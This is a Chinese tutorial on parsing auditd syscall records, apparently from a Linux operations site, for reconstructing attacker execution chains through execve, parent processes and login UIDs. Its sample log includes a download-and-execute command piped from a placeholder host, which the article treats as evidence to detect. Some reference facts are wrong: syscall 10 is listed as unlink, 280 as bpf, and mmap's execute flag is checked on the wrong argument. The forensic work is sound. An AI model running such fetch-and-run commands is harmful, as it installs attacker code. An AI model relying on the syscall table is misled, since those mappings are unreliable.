如何解析Auditd日志中的Syscall字段还原黑客执行二进制物理轨迹-linux运维-PHP中文网

syscall字段本身不记录物理轨迹，仅标识系统调用编号（如59对应execve），但联动comm、exe、a0–a3、ppid、uid、auid、key等字段，可高置信度还原黑客执行二进制的完整路径、上下文及行为链条。

如何解析auditd日志中的syscall字段还原黑客执行二进制物理轨迹

syscall 字段本身不记录“物理轨迹”，它只标识系统调用编号（如 syscall=59 对应 execve），但结合其他字段，可以高置信度还原黑客执行二进制的完整路径、上下文和行为链条——这才是实战中真正有用的“轨迹”。

关键不是单看 syscall=，而是把 syscall 当作线索起点，联动 comm、exe、a0–a3、ppid、uid、auid、key 等字段拼出动作全貌。

一、先看懂 syscall 字段的真实含义

syscall= 后面是内核定义的整数编号，例如：

syscall=59 → execve（执行程序）
syscall=257 → openat（打开文件，常用于写入或覆盖）
syscall=10 → unlink（删除文件）
syscall=280 → bpf（eBPF 相关，可能载入恶意程序）

查编号对应关系用：

ausyscall x86_64 59  # 输出：execve

或直接翻 /usr/include/asm/unistd_64.h

⚠️ 注意：syscall=59 只说明调用了 execve，不代表一定成功；要看 success=yes/no 和 exit= 值（如 exit=0 表示成功，exit=-13 是 -EACCES 权限拒绝）。

二、用 syscall 定位执行行为，并还原“二进制路径”

当看到 syscall=59（execve），必须立刻关联以下字段：

comm=：发起 execve 的进程名（如 comm="sh"、comm="python3"）
exe=：该进程自身的绝对路径（如 exe="/usr/bin/python3"）→ 判断是否为合法工具
a0=：execve 第一个参数（通常是程序路径的地址），本身不可读；但 EXECVE 类型事件会紧随其后，提供明文参数：
- type=EXECVE msg=... argc=2 a0="ls" a1="-l"
key=：规则打的标签（如 key=execve_tracking），帮你快速归类来源规则

✅ 实战还原示例：
日志片段：

type=SYSCALL msg=audit(1717588800.123:456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff12345678 ... comm="bash" exe="/bin/bash" key=execve_tracking
type=EXECVE msg=audit(1717588800.123:456): argc=3 a0="/tmp/.X11-unix/sh" a1="-c" a2="curl http://mal.io/payload | sh"

→ 还原轨迹：

bash 进程（/bin/bash）执行了 execve
实际运行的是 /tmp/.X11-unix/sh（非常规路径，高度可疑）
命令内容是远程下载并执行，属于典型内存马/无文件攻击前奏

三、串联父子进程，还原“落地—执行”物理路径

黑客常通过多层派生隐藏真实二进制来源（如 cron → sh → python → /dev/shm/loader）。靠 ppid + pid + auid 可重建树：

pid=：当前事件进程 ID
ppid=：父进程 ID
auid=：原始登录用户 ID（即使 sudo su - 也保留，防 UID 伪造）
uid=：当前有效 UID（可能已被提权）

? 快速查某次 execve 的完整链路：

# 先拿到可疑 execve 的 pid（比如 12345）
sudo ausearch -m execve -p 12345 --start today | aureport -f -i
# 再向上查父进程（直到 auid 匹配登录会话）
sudo ausearch -p 12345 -m execve,syscall --start today | aureport -f -i

常见可疑模式：

auid=1000（普通用户），但 uid=0（已提权） → 提权成功标志
comm="ld-linux.so.2" 或 comm="sleep"，但 exe="/tmp/xxx" → 注入或 loader 行为
ppid=1 且 comm="sh" → 可能是 systemd 服务被劫持或 cron 启动的 shell

四、识别绕过常规路径的“伪物理执行”

有些攻击不写磁盘，但仍有“执行痕迹”：

行为类型	syscall 关键特征	还原要点
内存加载 ELF	`syscall=9`（mmap）+ `a3 & 0x4 != 0`（PROT_EXEC）+ `comm="ld-linux"`	查 `a0=` 地址是否在堆/匿名映射区
动态链接器劫持	`syscall=59` + `exe="/lib64/ld-linux-x86-64.so.2"` + `a0="/tmp/.so"`	`EXECVE` 参数里找 `.so` 路径
ptrace 注入	`syscall=101`（ptrace）+ `a1=0x4`（PTRACE_POKETEXT）+ `a0=目标pid`	关联 `a0=` 对应进程的 `exe=` 和启动时间